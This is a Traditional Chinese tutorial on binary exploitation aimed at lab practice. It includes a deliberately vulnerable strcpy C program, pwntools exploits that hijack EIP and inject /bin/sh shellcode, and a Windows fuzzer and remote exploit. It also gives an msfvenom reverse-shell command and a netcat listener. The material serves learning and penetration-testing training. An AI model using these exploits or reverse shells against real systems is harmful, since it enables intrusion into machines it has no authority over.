前言:為什麼要學 Binary Exploitation?
在滲透測試(Penetration Testing)的世界裡,二進位漏洞利用是最核心也最具威力的技術之一。從早年的 Morris Worm 到近年各種 CVE 漏洞,Buffer Overflow 類型的攻擊從未消失。然而對許多新手來說,這也是最令人卻步的一塊——因為它要求你理解「程式在記憶體裡到底長什麼樣子」。
這篇文章會帶你走過完整的學習路徑,包含五個階段:
- Python 3 腳本基礎
- 組合語言(Assembly)與電腦架構
- Linux x86 Stack-Based Buffer Overflow
- Windows x86 Stack-Based Buffer Overflow
- 綜合實戰練習
每個階段都會附上實做範例和學習時的實用建議。
環境準備
在開始之前,先把工具備齊。以下是推薦的環境:
# 建議使用 Kali Linux 或 Ubuntu,可以用 VM 或 WSL2
# 安裝必要工具
sudo apt update && sudo apt install -y \
python3 python3-pip \
gdb \
nasm \
gcc-multilib \
ltrace strace \
net-tools
# 安裝 GDB 加強套件 pwndbg(強烈推薦)
git clone https://github.com/pwndbg/pwndbg
cd pwndbg && ./setup.sh
# 安裝 Python 漏洞利用框架
pip3 install pwntools
學習者小提醒: 如果你在用 Windows,強烈建議安裝 WSL2 + Ubuntu 來練習 Linux 部分的題目。Windows 部分則可以開一台 Windows 7/10 的 VM(記得關掉 DEP 和 ASLR 來練習基礎題)。
第一階段:Python 3 腳本基礎
Binary Exploitation 的 exploit 幾乎都是用 Python 寫的。你不需要成為 Python 大師,但以下能力是必備的:
必學重點
- 字串與 bytes 的轉換:exploit 操作的是原始位元組(bytes),不是文字。
- struct 模組:用來將整數轉成特定格式的 bytes。
- socket 程式設計:遠端 exploit 需要透過網路送 payload。
- subprocess 模組:與本地程式互動。
實做練習:用 Python 送一段 payload
#!/usr/bin/env python3
"""
最基本的 exploit 骨架 — 送一段超長字串給程式,觀察行為
"""
import struct
import socket
# 目標位址(練習環境)
target_ip = "127.0.0.1"
target_port = 9999
# 建立 payload
# struct.pack("<I", 0xdeadbeef) 會把整數轉成 little-endian 的 4 bytes
offset = 512
padding = b"A" * offset
eip_overwrite = struct.pack("<I", 0xdeadbeef) # 覆蓋回傳位址
payload = padding + eip_overwrite
# 送出
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(payload)
s.close()
print(f"[*] 已送出 {len(payload)} bytes 的 payload")
進階:使用 pwntools(推薦)
#!/usr/bin/env python3
from pwn import *
# pwntools 讓 exploit 開發變得更簡潔
context.arch = 'i386' # 指定架構
context.os = 'linux'
# 連線到目標
# p = remote("127.0.0.1", 9999) # 遠端
p = process("./vulnerable_app") # 本地
# 建立 payload
payload = b"A" * 512
payload += p32(0xdeadbeef) # p32() 等同 struct.pack("<I", ...)
# 送出並互動
p.sendline(payload)
p.interactive() # 如果成功拿到 shell,可以直接操作
第二階段:組合語言與電腦架構
這是整個學習路徑中最關鍵、也最容易讓人打退堂鼓的階段。但請記住:你不需要用組語寫程式,你需要的是讀懂它。
必懂概念
CPU 暫存器(x86 32-bit)
| 暫存器 | 用途 | 在 Exploit 中的意義 |
|---|---|---|
| EAX | 累加器、函式回傳值 | 常用來存放系統呼叫號碼 |
| EBX | 基底暫存器 | 系統呼叫的第一個參數 |
| ECX | 計數器 | 系統呼叫的第二個參數 |
| EDX | 資料暫存器 | 系統呼叫的第三個參數 |
| ESP | 堆疊指標(Stack Pointer) | 指向堆疊頂端,exploit 的核心 |
| EBP | 基底指標(Base Pointer) | 函式的堆疊框架基底 |
| EIP | 指令指標(Instruction Pointer) | 下一條要執行的指令,控制它 = 控制程式 |
記憶體佈局(由高位址到低位址)
┌─────────────────────┐ 高位址 (0xFFFFFFFF)
│ Kernel Space │
├─────────────────────┤
│ Stack ↓ │ ← 區域變數、函式參數、回傳位址
├─────────────────────┤
│ ... │
├─────────────────────┤
│ Heap ↑ │ ← malloc/new 動態分配
├─────────────────────┤
│ BSS (未初始化) │
├─────────────────────┤
│ Data (已初始化) │
├─────────────────────┤
│ Text │ ← 程式碼(機器指令)
└─────────────────────┘ 低位址 (0x00000000)
實做練習:用 GDB 觀察堆疊
先寫一個簡單的有漏洞的 C 程式:
// vulnerable.c
#include <stdio.h>
#include <string.h>
void secret_function() {
printf("恭喜!你成功控制了程式流程!\n");
}
void vulnerable_function(char *input) {
char buffer[64]; // 只配置 64 bytes
strcpy(buffer, input); // 危險!沒有檢查長度
}
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("用法: %s <輸入>\n", argv[0]);
return 1;
}
vulnerable_function(argv[1]);
printf("程式正常結束\n");
return 0;
}
編譯時關閉保護機制(僅限練習用):
# -m32: 編譯為 32-bit
# -fno-stack-protector: 關閉 Stack Canary
# -z execstack: 允許堆疊執行
# -no-pie: 關閉 PIE(位址隨機化)
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
用 GDB 觀察:
gdb ./vulnerable
# 在 vulnerable_function 設斷點
(gdb) break vulnerable_function
(gdb) run (python3 -c "print('A' * 80)")
# 觀察暫存器
(gdb) info registers
# 觀察堆疊
(gdb) x/32wxesp
# 觀察 EIP 被覆蓋的情況
(gdb) run $(python3 -c "print('A' * 100)")
# 你應該會看到 Segmentation fault,EIP = 0x41414141 (AAAA)
當你看到 EIP 被覆蓋成 0x41414141 的那一刻,你就真正理解 Buffer Overflow 了。
第三階段:Linux x86 Stack-Based Buffer Overflow
攻擊流程總覽
1. 找到漏洞點(通常是 strcpy、gets、scanf 等不安全函式)
↓
2. 計算 offset(buffer 起點到 EIP 的距離)
↓
3. 找到跳轉目標(Shellcode 位址或 ret2libc 的函式位址)
↓
4. 組裝 payload 並送出
↓
5. 拿到 Shell!
實做:完整的 Buffer Overflow 攻擊
Step 1:計算 Offset
# 使用 pwntools 的 cyclic pattern
python3 -c "from pwn import *; print(cyclic(200).decode())" > pattern.txt
# 用 pattern 當輸入,觸發 crash
gdb ./vulnerable
(gdb) run $(cat pattern.txt)
# 假設 crash 時 EIP = 0x61616172
# 計算 offset
python3 -c "from pwn import *; print(cyclic_find(0x61616172))"
# 輸出: 76 ← 這就是 buffer 到 EIP 的距離
Step 2:找到 secret_function 的位址
objdump -d vulnerable | grep secret_function
# 假設輸出: 08049196 <secret_function>:
Step 3:撰寫 Exploit
#!/usr/bin/env python3
"""
exploit_linux.py — 控制 EIP 跳到 secret_function
"""
from pwn import *
# 設定環境
context.arch = 'i386'
context.os = 'linux'
context.log_level = 'info'
# 目標程式
binary = './vulnerable'
# 參數
offset = 76
target_addr = 0x08049196 # secret_function 的位址
# 組裝 payload
payload = b"A" * offset # 填滿 buffer + saved EBP
payload += p32(target_addr) # 覆蓋 EIP
# 執行
p = process([binary, payload])
print(p.recvall().decode())
Step 4:進階 — 注入 Shellcode
當沒有現成的函式可以跳轉時,我們需要注入自己的 shellcode:
#!/usr/bin/env python3
"""
exploit_shellcode.py — 注入 shellcode 取得 shell
前提:堆疊可執行(-z execstack)且無 ASLR
"""
from pwn import *
context.arch = 'i386'
context.os = 'linux'
binary = './vulnerable'
offset = 76
# Linux x86 execve("/bin/sh") shellcode
shellcode = asm(shellcraft.sh())
# NOP sled + shellcode + padding + 回傳位址
nop_sled = b"\x90" * 32 # NOP 滑道
padding = b"A" * (offset - len(nop_sled) - len(shellcode))
# 回傳位址需要指向 NOP sled 的某處
# 可以透過 GDB 觀察 ESP 在 crash 時的值來決定
ret_addr = p32(0xffffce60) # 根據你的環境調整
payload = nop_sled + shellcode + padding + ret_addr
p = process([binary, payload])
p.interactive()
第四階段:Windows x86 Stack-Based Buffer Overflow
Windows 的 Buffer Overflow 原理與 Linux 相同,但工具和細節有所不同。
工具準備
- Immunity Debugger + mona.py:Windows 上的主力除錯工具
- msfvenom:用來產生 Windows shellcode
關鍵差異
| 項目 | Linux | Windows |
|---|---|---|
| 除錯器 | GDB + pwndbg | Immunity Debugger + mona |
| Shellcode | execve(“/bin/sh”) | WinExec(“cmd”) 或 reverse shell |
| 壞字元 | 依程式而定 | 常見 \x00 \x0a \x0d |
| 跳轉方式 | 直接跳到堆疊 | JMP ESP(在 DLL 中找) |
實做:Windows 遠端 Buffer Overflow
Step 1:Fuzzing — 找到崩潰點
#!/usr/bin/env python3
"""
fuzzer.py — 逐漸增加輸入長度,找到程式崩潰的臨界點
"""
import socket
import time
target_ip = "192.168.1.100" # Windows VM 的 IP
target_port = 9999
buffer_size = 100
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((target_ip, target_port))
payload = b"A" * buffer_size
print(f"[*] 送出 {buffer_size} bytes...")
s.send(payload + b"\r\n")
s.recv(1024)
s.close()
buffer_size += 100
time.sleep(1)
except Exception as e:
print(f"[!] 程式在 {buffer_size} bytes 時崩潰!")
break
Step 2:找到精確 Offset
#!/usr/bin/env python3
"""
find_offset.py — 使用 cyclic pattern 找到精確的 EIP offset
"""
from pwn import *
import socket
target_ip = "192.168.1.100"
target_port = 9999
# 產生 pattern(長度根據 fuzzing 結果決定)
pattern = cyclic(3000)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(pattern + b"\r\n")
s.close()
# 在 Immunity Debugger 中查看 EIP 的值
# 然後用以下指令計算 offset:
# python3 -c "from pwn import *; print(cyclic_find(0x????????))"
Step 3:找到 JMP ESP 指令
在 Windows 上,我們通常不直接跳到堆疊位址(因為位址不可預測),而是在 DLL 中找一條 JMP ESP 指令:
# 使用 mona.py(在 Immunity Debugger 的命令列)
!mona jmp -r esp -cpb "\x00\x0a\x0d"
# -cpb: 排除壞字元
# 會列出所有可用的 JMP ESP 位址
Step 4:產生 Shellcode 並組裝最終 Exploit
#!/usr/bin/env python3
"""
exploit_windows.py — 完整的 Windows Buffer Overflow exploit
"""
import socket
import struct
target_ip = "192.168.1.100"
target_port = 9999
# 參數(根據前面步驟的結果填入)
offset = 2003
jmp_esp = struct.pack("<I", 0x625011AF) # 從 mona 找到的 JMP ESP 位址
# 用 msfvenom 產生 reverse shell shellcode:
# msfvenom -p windows/shell_reverse_tcp LHOST=你的IP LPORT=4444 \
# -b "\x00\x0a\x0d" -f python -v shellcode
shellcode = b""
shellcode += b"\xdb\xc0\xd9\x74\x24\xf4..." # 替換成實際的 shellcode
# 組裝 payload
payload = b""
payload += b"A" * offset # 填充到 EIP
payload += jmp_esp # 覆蓋 EIP → JMP ESP
payload += b"\x90" * 16 # NOP sled(給 decoder 空間)
payload += shellcode # 實際的 shellcode
# 送出
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_ip, target_port))
s.send(payload + b"\r\n")
s.close()
print("[*] Exploit 已送出!檢查你的 listener...")
# 記得先開 listener: nc -lvnp 4444
第五階段:綜合實戰與進階方向
練習平台推薦(台灣可用)
| 平台 | 說明 | 適合程度 |
|---|---|---|
| Hack The Box | 本文的主要參考來源,Academy 課程品質極高 | 初學→進階 |
| OverTheWire (Narnia) | 免費的 Buffer Overflow 練習 | 入門 |
| pwnable.kr | 韓國出品的 pwn 練習題 | 初學→進階 |
| pwnable.tw | 台灣出品!高品質 pwn 題目 | 中階→高階 |
| picoCTF | CMU 主辦的 CTF,有很多 Binary 題 | 入門 |
進階學習方向
當你掌握了基本的 Stack-Based Buffer Overflow 之後,可以繼續探索:
繞過保護機制: 現代系統都有多層防護,學會繞過它們才是真正的挑戰。包括 Return-to-libc(繞過 NX/DEP)、ROP Chain(Return-Oriented Programming)、繞過 ASLR(資訊洩漏技巧),以及繞過 Stack Canary。
其他漏洞類型: 除了堆疊溢位之外,還有 Heap Exploitation(堆積利用)、Format String Vulnerability(格式化字串漏洞)、Use-After-Free,以及 Integer Overflow 等值得深入研究。
64-bit 環境: x86_64 的暫存器更多、呼叫慣例不同(參數透過暫存器傳遞而非堆疊),exploit 的寫法也有差異。
常見問題 FAQ
Q:我需要很強的程式能力才能學 Binary Exploitation 嗎?
不需要是程式高手,但你需要理解 C 語言的基本概念(指標、陣列、函式呼叫),以及用 Python 寫簡單的腳本。邊做邊學是最有效的方式。
Q:我的 exploit 在自己的環境可以用,但在目標上不行?
最常見的原因是位址偏移不同(不同的系統環境、不同的 library 版本)。試著加長 NOP sled,或者用 GDB 在目標環境上確認位址。
Q:學 Binary Exploitation 對找工作有幫助嗎?
在台灣,資安產業持續成長。Binary Exploitation 的技能在紅隊演練、漏洞研究、惡意程式分析等領域都非常搶手。許多台灣的資安公司都在找具備這類技能的人才。
結語
Binary Exploitation 的學習曲線確實陡峭,但當你第一次成功覆蓋 EIP、第一次彈出 shell 的時候,那種成就感是無可比擬的。
透過這個順序:Python 基礎 → 理解記憶體與暫存器 → Linux BOF → Windows BOF → 繞過保護機制。每一步都扎實走過,不要跳級。
